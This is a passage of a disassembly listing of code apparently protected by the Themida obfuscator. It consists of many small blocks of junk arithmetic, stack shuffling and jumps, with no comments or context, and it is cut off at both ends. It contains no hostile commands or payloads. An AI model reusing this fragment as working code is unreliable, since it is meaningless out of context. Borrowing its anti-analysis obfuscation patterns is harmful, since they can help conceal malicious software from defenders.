jmp loc_5A4B7A
; ---------------------------------------------------------------------------
loc_597BCB: ; CODE XREF: Themida_:0059C3AAj
push 603Fh
mov [esp], ecx
push 4E44490Eh
mov ecx, [esp]
add esp, 4
not ecx
add ecx, 0A2361CCh
jmp loc_59BB24
; ---------------------------------------------------------------------------
loc_597BEE: ; CODE XREF: Themida_:00597FC8j
pop ebp
pop esi
jmp loc_5A7C12
; ---------------------------------------------------------------------------
loc_597BF5: ; CODE XREF: Themida_:0059A1F1j
sub al, ch
pop ecx
jmp loc_5A173B
; ---------------------------------------------------------------------------
loc_597BFD: ; CODE XREF: Themida_:005A9D0Aj
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A94AE
; ---------------------------------------------------------------------------
loc_597C15: ; CODE XREF: Themida_:005A404Cj
push eax
mov eax, 4
add ebp, eax
pop eax
add ebp, 4
jmp loc_5A0BF7
; ---------------------------------------------------------------------------
loc_597C29: ; CODE XREF: Themida_:005A1363j
push esi
mov esi, 4
add ebp, esi
pop esi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
or eax, eax
jz loc_5A6F21
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_59B282
; ---------------------------------------------------------------------------
loc_597C4F: ; CODE XREF: Themida_:005A3A05j
mov [esp], edx
sub esp, 4
mov [esp], esp
jmp loc_5A4725
; ---------------------------------------------------------------------------
loc_597C60: ; CODE XREF: Themida_:00599A6Dj
mov ecx, [esp]
add esp, 4
jmp loc_598EFE
; ---------------------------------------------------------------------------
loc_597C6B: ; CODE XREF: Themida_:0059FBE3j
push edx
mov edx, 6CDD6F1Dh
xor eax, edx
pop edx
xor eax, 99A728DDh
add ebp, 580A362Eh
add ebp, eax
sub ebp, 580A362Eh
mov eax, [esp]
push esi
mov esi, esp
jmp loc_5A6EE8
; ---------------------------------------------------------------------------
loc_597C92: ; CODE XREF: Themida_:005A3191j
add edx, 4
jmp loc_59BB1B
; ---------------------------------------------------------------------------
loc_597C9A: ; CODE XREF: Themida_:005A1BFDj
dec edi
shr edi, 3
push ebx
jmp loc_599C45
; ---------------------------------------------------------------------------
push 2B68h
mov [esp], esp
push 338h
mov [esp], edi
mov edi, 4
add dword ptr [esp+4], 4EFF3960h
add [esp+4], edi
sub dword ptr [esp+4], 4EFF3960h
jmp loc_599C70
; ---------------------------------------------------------------------------
loc_597CD2: ; CODE XREF: Themida_:0059AAEBj
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], esi
jmp loc_5A2049
; ---------------------------------------------------------------------------
loc_597CE4: ; CODE XREF: Themida_:005A765Cj
div cx
push small 0C61h
mov [esp], dx
push ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_597CF7: ; CODE XREF: Themida_:005AA2B4j
sub [esp], dl
mov dl, [esp]
add esp, 4
push cx
jmp loc_59F29D
; ---------------------------------------------------------------------------
loc_597D07: ; CODE XREF: Themida_:005A2493j
add bl, al
jmp loc_59D299
; ---------------------------------------------------------------------------
loc_597D0E: ; CODE XREF: Themida_:0059C533j
mov ebp, 38CF5561h
neg ebp
jmp loc_5A67D1
; ---------------------------------------------------------------------------
loc_597D1A: ; CODE XREF: Themida_:0059B8FDj
mov [esp], ecx
mov ecx, 1C1E1FE4h
mov eax, 286A05BEh
xor eax, ecx
pop ecx
add ecx, eax
jmp loc_5A0B75
; ---------------------------------------------------------------------------
loc_597D31: ; CODE XREF: Themida_:005A3C0Aj
sub edx, 5E82FDF0h
or eax, edx
pop edx
add eax, 1
jmp loc_5A9748
; ---------------------------------------------------------------------------
loc_597D42: ; CODE XREF: Themida_:005A1C34j
xchg edi, [esp]
jmp loc_5A4251
; ---------------------------------------------------------------------------
loc_597D4A: ; CODE XREF: Themida_:005976BEj
mov ebp, 4
jmp loc_5A2C20
; ---------------------------------------------------------------------------
loc_597D54: ; CODE XREF: Themida_:0059FACAj
push 4378h
mov [esp], eax
jmp loc_595F7D
; ---------------------------------------------------------------------------
loc_597D61: ; CODE XREF: Themida_:005A9C9Bj
push 4974h
mov [esp], esi
jmp loc_596FE2
; ---------------------------------------------------------------------------
loc_597D6E: ; CODE XREF: Themida_:0059A79Dj
push ebp
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59616E
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_5A4E59
add esi, 73C62FC3h
sub esi, 36F40C7Bh
sub esp, 4
mov [esp], edx
mov edx, 36D779D9h
sub esp, 4
mov [esp], eax
push esi
jmp loc_5A146E
; ---------------------------------------------------------------------------
loc_597DB4: ; CODE XREF: Themida_:00599F34j
pop ecx
add edi, 1BAE6167h
sub edx, edi
pop edi
sub edx, 778133B3h
add edx, eax
push ebx
mov ebx, 778133B3h
add edx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_598F9A
; ---------------------------------------------------------------------------
loc_597DDC: ; CODE XREF: Themida_:005A7D65j
mov [esp], ecx
mov ecx, 402B31EFh
push 1A27h
mov [esp], eax
jmp loc_597A10
; ---------------------------------------------------------------------------
loc_597DF1: ; CODE XREF: Themida_:0059D538j
mov edi, [esp]
add esp, 4
jmp loc_5A6767
; ---------------------------------------------------------------------------
loc_597DFF: ; CODE XREF: Themida_:005A0907j
sub ebx, eax
add ebx, 5D681678h
jmp loc_59DBD4
; ---------------------------------------------------------------------------
loc_597E0C: ; CODE XREF: Themida_:005A496Bj
add eax, 3000425Ah
jmp loc_5A2B9E
; ---------------------------------------------------------------------------
loc_597E16: ; CODE XREF: Themida_:0059D3A9j
pop esi
jmp loc_59D0E5
; ---------------------------------------------------------------------------
loc_597E1C: ; CODE XREF: Themida_:005A53D7j
pop dword ptr [esp]
mov esp, [esp]
push 6065h
mov [esp], edi
jmp loc_5A04FD
; ---------------------------------------------------------------------------
loc_597E2F: ; CODE XREF: Themida_:005A23E8j
shl eax, 6
sub eax, 75A65212h
xor eax, 8864999h
shl eax, 7
jmp loc_5A4C91
; ---------------------------------------------------------------------------
loc_597E44: ; CODE XREF: Themida_:0059F610j
mov [esp], edi
jmp loc_5A0CA2
; ---------------------------------------------------------------------------
loc_597E4C: ; CODE XREF: Themida_:005A0979j
mov ecx, 4B7536h
mov edx, 59E0CBADh
jmp loc_59F436
; ---------------------------------------------------------------------------
loc_597E5B: ; CODE XREF: Themida_:005A9F40j
sub eax, edi
pop edi
sub eax, ebx
jmp loc_598199
; ---------------------------------------------------------------------------
loc_597E65: ; CODE XREF: Themida_:005A3079j
push ebp
jmp loc_5991C2
; ---------------------------------------------------------------------------
loc_597E6B: ; CODE XREF: Themida_:0059CA51j
push eax
mov eax, 288B5A00h
inc eax
xor eax, 37F45BF3h
shr eax, 3
push ebp
jmp loc_596D56
; ---------------------------------------------------------------------------
loc_597E80: ; CODE XREF: Themida_:005A4F11j
add ecx, 3D4D7309h
jmp loc_596911
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
jmp loc_59DE48
; ---------------------------------------------------------------------------
loc_597E95: ; CODE XREF: Themida_:005A334Dj
pop edx
jmp loc_5A516F
; ---------------------------------------------------------------------------
loc_597E9B: ; CODE XREF: Themida_:005A9A2Bj
neg dl
add dl, 19h
and dl, 0E6h
jmp loc_59E8DF
; ---------------------------------------------------------------------------
loc_597EA8: ; CODE XREF: Themida_:005A3C4Dj
dec ecx
shr ecx, 4
sub ecx, 4D4069A0h
xor ecx, 0CADC3720h
dec ecx
add ecx, 86C262D3h
sub edi, 4EB611DAh
sub edi, ecx
add edi, 4EB611DAh
mov ecx, [esp]
add esp, 4
add edi, ebp
add edi, 3257BD6h
push dword ptr [esp]
pop ebp
push eax
jmp loc_5A4A87
; ---------------------------------------------------------------------------
loc_597EE8: ; CODE XREF: Themida_:005AAB0Cj
xor bh, ah
pop eax
jmp loc_5A3F0F
; ---------------------------------------------------------------------------
loc_597EF0: ; CODE XREF: Themida_:005A817Ej
pop edi
jmp loc_59C830
; ---------------------------------------------------------------------------
loc_597EF6: ; CODE XREF: Themida_:0059BF84j
xor edx, 34441F5Bh
mov esi, edx
pop edx
add esi, 8EEFE325h
sub eax, 612F019Dh
jmp loc_5975C8
; ---------------------------------------------------------------------------
loc_597F0F: ; CODE XREF: Themida_:005A10F5j
push ecx
mov ecx, 5C4C1B0Ah
jmp loc_59DFF3
; ---------------------------------------------------------------------------
loc_597F1A: ; CODE XREF: Themida_:005A950Aj
push edx
jmp loc_5A8D9D
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_5960A7
; ---------------------------------------------------------------------------
loc_597F28: ; CODE XREF: Themida_:00596131j
mov bp, [esp]
add esp, 2
mov di, [esp]
jmp loc_59CB88
; ---------------------------------------------------------------------------
loc_597F3B: ; CODE XREF: Themida_:005A4B75j
pop ebx
jmp loc_597154
; ---------------------------------------------------------------------------
loc_597F41: ; CODE XREF: Themida_:005994D5j
pop dword ptr [esp]
push ecx
mov ecx, 4
jmp loc_59B6F4
; ---------------------------------------------------------------------------
loc_597F4F: ; CODE XREF: Themida_:0059BEBAj
sub eax, 30D47829h
add eax, ebx
push 46C5h
jmp loc_59FC98
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_5AAE0A
; ---------------------------------------------------------------------------
loc_597F6A: ; CODE XREF: Themida_:0059FEE4j
pop edx
sub ebp, 0FFFFFFFFh
xor ebp, 31FF6EF2h
jmp loc_59BD26
; ---------------------------------------------------------------------------
loc_597F7C: ; CODE XREF: Themida_:005A4EE9j
pop dword ptr [esp]
add dword ptr [esp], 4
pop edi
jmp loc_5A6721
; ---------------------------------------------------------------------------
loc_597F89: ; CODE XREF: Themida_:005A7070j
sub bl, ch
sub bl, 2
push dword ptr [esp]
push dword ptr [esp]
pop ecx
sub esp, 4
jmp loc_5A56C9
; ---------------------------------------------------------------------------
loc_597F9D: ; CODE XREF: Themida_:005A1503j
add ecx, esi
pop esi
jmp loc_5A07E3
; ---------------------------------------------------------------------------
loc_597FA5: ; CODE XREF: Themida_:005A4161j
mov [esp], edx
push 0FA6h
mov [esp], esp
add dword ptr [esp], 4
pop edx
sub esp, 4
mov [esp], ebx
jmp loc_5A4858
; ---------------------------------------------------------------------------
loc_597FC3: ; CODE XREF: Themida_:005A6838j
push ebp
mov ebp, esi
mov edi, ebp
jmp loc_597BEE
; ---------------------------------------------------------------------------
loc_597FCD: ; CODE XREF: Themida_:005AB39Aj
pop ecx
jmp loc_59C686
; ---------------------------------------------------------------------------
loc_597FD3: ; CODE XREF: Themida_:005A7001j
mov edx, 2A176B96h
xchg edi, edx
inc edi
xchg edi, edx
jmp loc_5A98CE
; ---------------------------------------------------------------------------
loc_597FE2: ; CODE XREF: Themida_:005A332Dj
pop ebp
push edi
mov edi, esp
add edi, 4
push edx
mov edx, 7DB66AB1h
sub edx, 6DB32927h
xor edx, 760C1334h
push ebx
mov ebx, 484811F4h
add ebx, 2DE50306h
and edx, ebx
pop ebx
jmp loc_59C8DD
; ---------------------------------------------------------------------------
loc_598012: ; CODE XREF: Themida_:005A5F62j
sub edi, 2AD86F4Ah
add edi, 111484Fh
add edi, ebp
sub edi, 111484Fh
push edx
mov edx, 2AD86F4Ah
add edi, edx
mov edx, [esp]
add esp, 4
jmp loc_5A074A
; ---------------------------------------------------------------------------
loc_598039: ; CODE XREF: Themida_:005A6B12j
push esi
jmp loc_5A85EF
; ---------------------------------------------------------------------------
loc_59803F: ; CODE XREF: Themida_:0059BEFAj
pop bx
add al, 4Bh
add al, cl
jmp loc_5AAD94
; ---------------------------------------------------------------------------
loc_59804A: ; CODE XREF: Themida_:0059955Bj
pop esi
push eax
jmp loc_599E77
; ---------------------------------------------------------------------------
loc_598051: ; CODE XREF: Themida_:005A682Cj
push eax
mov eax, esp
add eax, 4
push edx
push ebx
push 0D573611h
pop ebx
jmp loc_59D5F9
; ---------------------------------------------------------------------------
loc_598066: ; CODE XREF: Themida_:0059F8D5j
push esi
jmp loc_59E21E
; ---------------------------------------------------------------------------
loc_59806C: ; CODE XREF: Themida_:005A9802j
xor edx, [esp]
pop esp
loc_598070: ; CODE XREF: Themida_:005A7C30j
push 5711h
mov [esp], ebx
jmp loc_5A74CA
; ---------------------------------------------------------------------------
loc_59807D: ; CODE XREF: Themida_:005A1130j
add edx, ecx
mov ecx, [esp]
jmp loc_59EC0B
; ---------------------------------------------------------------------------
loc_598087: ; CODE XREF: Themida_:0059F451j
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A1C91
; ---------------------------------------------------------------------------
loc_598098: ; CODE XREF: Themida_:0059A808j
shr ecx, 5
jmp loc_59E12B
; ---------------------------------------------------------------------------
loc_5980A0: ; CODE XREF: Themida_:0059F2A3j
pop cx
not al
jmp loc_59A463
; ---------------------------------------------------------------------------
loc_5980A9: ; CODE XREF: Themida_:0059C0AAj
inc dl
jmp loc_5A8645
; ---------------------------------------------------------------------------
loc_5980B0: ; CODE XREF: Themida_:0059C30Ej
mov edx, 5FC60FF2h
sub esi, edx
pop edx
add esi, ebp
add esi, 5FC60FF2h
jmp loc_59FF25
; ---------------------------------------------------------------------------
loc_5980C5: ; CODE XREF: Themida_:005A8713j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A08F4
; ---------------------------------------------------------------------------
loc_5980D9: ; CODE XREF: Themida_:005A1401j
sub ebp, edx
pop edx
and eax, ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_59F583
; ---------------------------------------------------------------------------
loc_5980F8: ; CODE XREF: Themida_:005A32A9j
mov edi, [esp]
add esp, 4
add edx, 6DD654AEh
jmp loc_5961D7
; ---------------------------------------------------------------------------
loc_59810C: ; CODE XREF: Themida_:00599A83j
push edi
mov edi, 794753FCh
add dword ptr [esp+8], 21696DC1h
jmp loc_5A886C
; ---------------------------------------------------------------------------
loc_59811F: ; CODE XREF: Themida_:0059B75Ej
sub ecx, 9D54606h
shl ecx, 3
shl ecx, 3
xor ecx, 4D2C2F92h
shr ecx, 5
xor ecx, 2172C830h
jmp loc_5A7B87
; ---------------------------------------------------------------------------
loc_59813F: ; CODE XREF: Themida_:00598BCFj
mov [esp], ecx
mov cl, 61h
and cl, 41h
push 7C0Dh
mov [esp], ebx
mov bl, 0CCh
xor bl, 10h
dec bl
jmp loc_5A6844
; ---------------------------------------------------------------------------
loc_59815B: ; CODE XREF: Themida_:005A7E5Dj
mov esi, 0C4276693h
xor eax, esi
jmp loc_5962AF
; ---------------------------------------------------------------------------
loc_598167: ; CODE XREF: Themida_:0059A794j
push bx
jmp loc_5A6661
; ---------------------------------------------------------------------------
loc_59816E: ; CODE XREF: Themida_:005A4F34j
push 6CD9h
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
push 3A2Eh
mov [esp], ecx
jmp loc_59AAE4
; ---------------------------------------------------------------------------
loc_598191: ; CODE XREF: Themida_:005A92B9j
add eax, ebx
push edx
jmp loc_5A4D8E
; ---------------------------------------------------------------------------
loc_598199: ; CODE XREF: Themida_:00597E60j
push ebx
mov ebx, 12A73525h
dec ebx
dec ebx
or ebx, 579B53FFh
neg ebx
xor ebx, 0C944A08Ah
add eax, ebx
pop ebx
add eax, 239753Ch
push ebp
mov ebp, 488B7970h
xor ebp, 757456CAh
add eax, ebp
pop ebp
push 1FDFh
mov [esp], ebp
mov ebp, 37AB6D5Eh
add eax, 5B3469Fh
add eax, ebp
push edi
mov edi, 5B3469Fh
sub eax, edi
pop edi
push dword ptr [esp]
pop ebp
jmp loc_5A533B
; ---------------------------------------------------------------------------
loc_5981EC: ; CODE XREF: Themida_:005A3F11j
mov ebx, [esp]
jmp loc_5A1A98
; ---------------------------------------------------------------------------
loc_5981F4: ; CODE XREF: Themida_:0059AFD8j
sub ecx, 780D06A4h
add ebx, ecx
mov ecx, [esp]
add esp, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add edi, 4
jmp loc_5A327E
; ---------------------------------------------------------------------------
loc_59821A: ; CODE XREF: Themida_:005A6E9Aj
add eax, edi
pop edi
jmp loc_5A8219
; ---------------------------------------------------------------------------
loc_598222: ; CODE XREF: Themida_:005A5D5Aj
add eax, 65B77421h
add eax, edx
jmp loc_59F981
; ---------------------------------------------------------------------------
loc_59822E: ; CODE XREF: Themida_:005AAE00j
mov [esp], ecx
push 985h
mov [esp], eax
mov ah, dl
push edx
mov dl, ah
mov ch, dl
jmp loc_5A4521
; ---------------------------------------------------------------------------
loc_598245: ; CODE XREF: Themida_:005A9FC8j
pop eax
sub ecx, 151435F4h
add ecx, ebx
push edx
jmp loc_5A184B
; ---------------------------------------------------------------------------
push ebp
jmp loc_5A3654
; ---------------------------------------------------------------------------
loc_59825A: ; CODE XREF: Themida_:005A038Aj
pop ecx
mov ebx, [esp]
jmp loc_59A6AE
; ---------------------------------------------------------------------------
loc_598263: ; CODE XREF: Themida_:00598A70j
add ecx, edx
pop edx
xchg ecx, [esp]
jmp loc_5AA497
; ---------------------------------------------------------------------------
loc_59826E: ; CODE XREF: Themida_:005A9653j
push ebp
mov ebp, 15F6650Ah
jmp loc_5AAC6F
; ---------------------------------------------------------------------------
loc_598279: ; CODE XREF: Themida_:0059749Cj
push edx
jmp loc_5A4BED
; ---------------------------------------------------------------------------
loc_59827F: ; CODE XREF: Themida_:00598D78j
push edx
mov dh, 0C7h
xor dh, 0EAh
xor ch, dh
pop edx
jmp loc_5AB190
; ---------------------------------------------------------------------------
loc_59828D: ; CODE XREF: Themida_:0059FC7Ej
add ebp, 4
jmp loc_5A8AC8
; ---------------------------------------------------------------------------
loc_598298: ; CODE XREF: Themida_:005A7724j
dec edx
sub edx, 692F3EC2h
shr edx, 2
sub edx, 0F6B94296h
push edx
push ebx
jmp loc_596740
; ---------------------------------------------------------------------------
loc_5982AF: ; CODE XREF: Themida_:005A3CF7j
inc edi
xor edi, 14CE215Eh
jmp loc_5A32C6
; ---------------------------------------------------------------------------
loc_5982BB: ; CODE XREF: Themida_:0059AD05j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push esi
mov esi, 500C0868h
or esi, 43A87733h
jmp loc_5A9191
; ---------------------------------------------------------------------------
loc_5982DF: ; CODE XREF: Themida_:005A33B1j
xor edx, 0B090453Ch
sub edi, edx
jmp loc_5A4194
; ---------------------------------------------------------------------------
loc_5982EC: ; CODE XREF: Themida_:0059912Aj
not edi
and edi, 58E57D41h
jmp loc_59729A
; ---------------------------------------------------------------------------
loc_5982F9: ; CODE XREF: Themida_:005A70F9j
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_598314: ; CODE XREF: Themida_:005A558Ej
mov eax, 4
sub ebx, 74D24A64h
sub ebx, eax
add ebx, 74D24A64h
mov eax, [esp]
add esp, 4
push ebx
push dword ptr [esp+4]
jmp loc_5A288C
; ---------------------------------------------------------------------------
loc_598337: ; CODE XREF: Themida_:005A2F22j
mov edx, 628FADA6h
push eax
mov eax, 35DA75C4h
add edx, eax
pop eax
push eax
mov eax, 180F1CF8h
shr eax, 5
xor eax, 6E18265Dh
and eax, 4FCD01D9h
add eax, 63A04117h
or eax, 605A71FDh
jmp loc_5A61B3
; ---------------------------------------------------------------------------
loc_598367: ; CODE XREF: Themida_:005A1983j
add dword ptr [esp], 4
pop ebp
push 7ADFh
mov [esp], edx
mov edx, 30991411h
jmp loc_5A9358
; ---------------------------------------------------------------------------
loc_59837E: ; CODE XREF: Themida_:005AA1DDj
push edi
push eax
mov eax, 0CBE2913Fh
mov edi, eax
pop eax
xor ecx, edi
pop edi
add edi, ecx
mov ecx, [esp]
jmp loc_5A319E
; ---------------------------------------------------------------------------
loc_598395: ; CODE XREF: Themida_:0059F4ECj
xor esi, [esp]
jmp loc_597368
; ---------------------------------------------------------------------------
loc_59839D: ; CODE XREF: Themida_:005AB46Aj
mov esp, [esp]
jmp loc_5999FA
; ---------------------------------------------------------------------------
loc_5983A5: ; CODE XREF: Themida_:00597AD9j
mov [esp], ecx
push esp
pop ecx
jmp loc_5AB188
; ---------------------------------------------------------------------------
loc_5983AF: ; CODE XREF: Themida_:005AB455j
mov esi, 8E60782h
neg esi
jmp loc_59C3D3
; ---------------------------------------------------------------------------
loc_5983BB: ; CODE XREF: Themida_:00595F32j
mov esp, [esp]
jmp loc_5A346E
; ---------------------------------------------------------------------------
loc_5983C3: ; CODE XREF: Themida_:005AA8BBj
push ecx
mov ecx, 809C843Dh
sub edi, ecx
pop ecx
push ebx
jmp loc_5A1F68
; ---------------------------------------------------------------------------
loc_5983D2: ; CODE XREF: Themida_:005A5D46j
xor edi, eax
pop eax
mov ebp, edi
jmp loc_59DA46
; ---------------------------------------------------------------------------
loc_5983DC: ; CODE XREF: Themida_:005A036Fj
add bl, ch
pop ecx
add bl, 0A4h
add bl, dh
sub bl, 0A4h
sub bl, 0C4h
push ecx
mov ch, 11h
neg ch
shl ch, 8
push bx
mov bh, 73h
sub ch, bh
pop bx
sub bl, 0EBh
add bl, ch
add bl, 0EBh
pop ecx
pop edx
push bx
mov bh, 57h
sub al, 0F6h
add al, bh
add al, 0F6h
pop bx
sub al, 0BEh
sub al, bl
add al, 0BEh
sub al, 57h
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov dh, 86h
jmp loc_5986F8
; ---------------------------------------------------------------------------
loc_59842E: ; CODE XREF: Themida_:0059DBB8j
add esi, 2C835C46h
add esi, eax
push edi
mov edi, 2C835C46h
jmp loc_59CC06
; ---------------------------------------------------------------------------
loc_598441: ; CODE XREF: Themida_:0059AE73j
sub al, bh
pop ebx
sub al, bl
add al, 0BFh
sub al, 8Fh
jmp loc_59F38E
; ---------------------------------------------------------------------------
loc_59844F: ; CODE XREF: Themida_:005A30DDj
sub ebp, 4
jmp loc_5A605C
; ---------------------------------------------------------------------------
loc_59845A: ; CODE XREF: Themida_:005A5EA3j
sub esi, 0FFFFFFFFh
sub esi, 0D6272E4Ah
sub edx, esi
mov esi, [esp]
jmp loc_5A8892
; ---------------------------------------------------------------------------
loc_59846D: ; CODE XREF: Themida_:0059AB26j
pop edx
add edx, 0F62066Eh
add edx, ebp
sub edx, 0F62066Eh
mov ebp, [esp]
jmp loc_5A1BF0
; ---------------------------------------------------------------------------
loc_598484: ; CODE XREF: Themida_:005A67CCj
add edx, 4C8B756Bh
sub edx, 6B364EADh
mov [edx], al
push dword ptr [esp]
jmp loc_5A49E1
; ---------------------------------------------------------------------------
loc_59849A: ; CODE XREF: Themida_:0059C3C2j
add eax, edi
mov ecx, [eax]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edi
mov edi, 4
jmp loc_5A985B
; ---------------------------------------------------------------------------
loc_5984C7: ; CODE XREF: Themida_:005A8B09j
mov ebp, [esp]
jmp loc_5AB2C8
; ---------------------------------------------------------------------------
loc_5984CF: ; CODE XREF: Themida_:0059B802j
dec dword ptr [esp]
jmp loc_5A4DA0
; ---------------------------------------------------------------------------
loc_5984D7: ; CODE XREF: Themida_:0059A321j
xor eax, esi
mov esi, [esp]
add esp, 4
sub eax, 10514010h
and eax, 4AAB6078h
jmp loc_59A11D
; ---------------------------------------------------------------------------
loc_5984F1: ; CODE XREF: Themida_:005A1E86j
xor ecx, 2FD4DF7h
sub ecx, 45E3437Fh
add esi, ecx
pop ecx
sub edx, 20C46C01h
add edx, esi
jmp loc_5A044C
; ---------------------------------------------------------------------------
loc_59850D: ; CODE XREF: Themida_:005A3FD7j
mov [esp], edi
push ebp
mov ebp, 4DC822DFh
mov edi, 0E0FD08D7h
add edi, ebp
jmp loc_59F6CE
; ---------------------------------------------------------------------------
loc_598522: ; CODE XREF: Themida_:00596C9Cj
pop ebp
or ebp, 4DB832E1h
jmp loc_59BAE0
; ---------------------------------------------------------------------------
loc_59852E: ; CODE XREF: Themida_:005A8174j
mov ebx, 1D403976h
jmp loc_59DB4E
; ---------------------------------------------------------------------------
loc_598538: ; CODE XREF: Themida_:005969B4j
mov ecx, edx
pop edx
push edi
mov edi, 21D21DE6h
push ebx
mov ebx, 51440D9Fh
or edi, ebx
pop ebx
jmp loc_5A8A04
; ---------------------------------------------------------------------------
loc_59854F: ; CODE XREF: Themida_:0059D1E7j
push 27B3h
mov [esp], edi
jmp loc_59B7A0
; ---------------------------------------------------------------------------
loc_59855C: ; CODE XREF: Themida_:005A36D7j
push ebp
jmp loc_595F21
; ---------------------------------------------------------------------------
loc_598562: ; CODE XREF: Themida_:0059B8B9j
push 58F0h
mov [esp], esi
jmp loc_5A5D5F
; ---------------------------------------------------------------------------
loc_59856F: ; CODE XREF: Themida_:005A16A8j
pop ebx
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5AA2C7
; ---------------------------------------------------------------------------
loc_598584: ; CODE XREF: Themida_:0059E24Bj
movzx eax, al
jmp loc_5A6E1F
; ---------------------------------------------------------------------------
loc_59858C: ; CODE XREF: Themida_:00596257j
add esp, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A1B74
; ---------------------------------------------------------------------------
loc_59859A: ; CODE XREF: Themida_:00598EB5j
push ecx
mov ecx, 0F385112h
jmp loc_5A9459
; ---------------------------------------------------------------------------
loc_5985A5: ; CODE XREF: Themida_:005A6348j
push esp
jmp loc_5AA91F
; ---------------------------------------------------------------------------
loc_5985AB: ; CODE XREF: Themida_:0059F82Cj
add eax, 296E2802h
mov ebp, [esp]
add esp, 4
sub eax, ebx
jmp loc_59B185
; ---------------------------------------------------------------------------
loc_5985C0: ; CODE XREF: Themida_:005A0782j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5985C5: ; CODE XREF: Themida_:0059E856j
mov eax, esp
jmp loc_59ACE4
; ---------------------------------------------------------------------------
loc_5985CC: ; CODE XREF: Themida_:0059D178j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push eax
jmp loc_59CACB
; ---------------------------------------------------------------------------
loc_5985E0: ; CODE XREF: Themida_:00599D6Ej
mov ebx, 7AE012D0h
mov ecx, ebx
pop ebx
sub edi, 2279709Bh
push ecx
mov ecx, 362040Dh
sub edi, ecx
pop ecx
add edi, ecx
add edi, 362040Dh
push edx
mov edx, 164F53CEh
xor edx, 68693D88h
neg edx
not edx
add edx, 0A4530256h
add edi, 30956680h
jmp loc_59D4D6
; ---------------------------------------------------------------------------
loc_598620: ; CODE XREF: Themida_:005A7354j
push 4D12h
mov [esp], ebx
mov ebx, 7690046Eh
xor ebx, 7690046Ah
add edi, 4EC013B5h
push eax
mov eax, 10153504h
not eax
and eax, 5238120Ah
jmp loc_5A66EE
; ---------------------------------------------------------------------------
loc_59864B: ; CODE XREF: Themida_:005A3AD5j
shr eax, 5
inc eax
xor eax, 8E232B1h
jmp loc_5A0EF3
; ---------------------------------------------------------------------------
loc_598659: ; CODE XREF: Themida_:005A3B20j
pop edx
sub esi, 5CE6619h
push ecx
mov ecx, 6AF30685h
xor esi, ecx
jmp loc_5A937E
; ---------------------------------------------------------------------------
loc_59866D: ; CODE XREF: Themida_:0059DA41j
mov edi, 7307665h
and edi, 6FFA1314h
sub edi, 1
shr edi, 7
add edi, 90C3E9F3h
add edx, edi
pop edi
push eax
mov eax, 19DE7689h
add ebp, eax
pop eax
sub ebp, edx
sub ebp, 19DE7689h
pop edx
sub ebp, 45CE3360h
add ebp, 34686E31h
mov eax, ebp
jmp loc_5AA6A1
; ---------------------------------------------------------------------------
loc_5986AC: ; CODE XREF: Themida_:005A1B4Aj
neg dword ptr [esp]
pop ecx
not ecx
not ecx
sub ecx, 645D555Ch
mov edx, ecx
pop ecx
add edx, 1F4E3237h
not edx
add edx, 3E367C1Ch
push ecx
mov ecx, 4EE57721h
jmp loc_5A4432
; ---------------------------------------------------------------------------
loc_5986D6: ; CODE XREF: Themida_:0059CCB9j
mov dh, 0C8h
add dh, 0FFh
sub dh, 61h
neg dh
push ebx
mov bh, 0A6h
dec bh
sub bh, 0CBh
shr bh, 6
jmp loc_59A5F8
; ---------------------------------------------------------------------------
loc_5986F0: ; CODE XREF: Themida_:005A2D60j
add ecx, ebp
pop ebp
jmp loc_5A7CD7
; ---------------------------------------------------------------------------
loc_5986F8: ; CODE XREF: Themida_:00598429j
shr dh, 7
push ebx
mov bl, 26h
xor bl, 0DCh
neg bl
jmp loc_5A03DD
; ---------------------------------------------------------------------------
loc_598708: ; CODE XREF: Themida_:0059C579j
add edx, ecx
pop ecx
jmp loc_5AA740
; ---------------------------------------------------------------------------
loc_598710: ; CODE XREF: Themida_:0059CB60j
xchg ebp, [esp]
pop esp
mov [esp], ebp
jmp loc_5961A5
; ---------------------------------------------------------------------------
loc_59871C: ; CODE XREF: Themida_:005AB282j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push ecx
mov ecx, 4DDB79FAh
sub ecx, 1
not ecx
dec ecx
shr ecx, 4
shl ecx, 2
add ecx, 2520F0B5h
sub ebx, ecx
pop ecx
add ebx, 3DB030CFh
jmp loc_5AA7E4
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_598757: ; CODE XREF: Themida_:005A4E77j
mov edi, esp
add edi, 4
push 4F42h
mov [esp], ebp
push 4
pop ebp
add edi, ebp
push dword ptr [esp]
pop ebp
push ebx
sub esp, 4
jmp loc_5AB2EE
; ---------------------------------------------------------------------------
loc_59877C: ; CODE XREF: Themida_:005A4030j
sub esi, 41177D59h
and esi, 612D356Fh
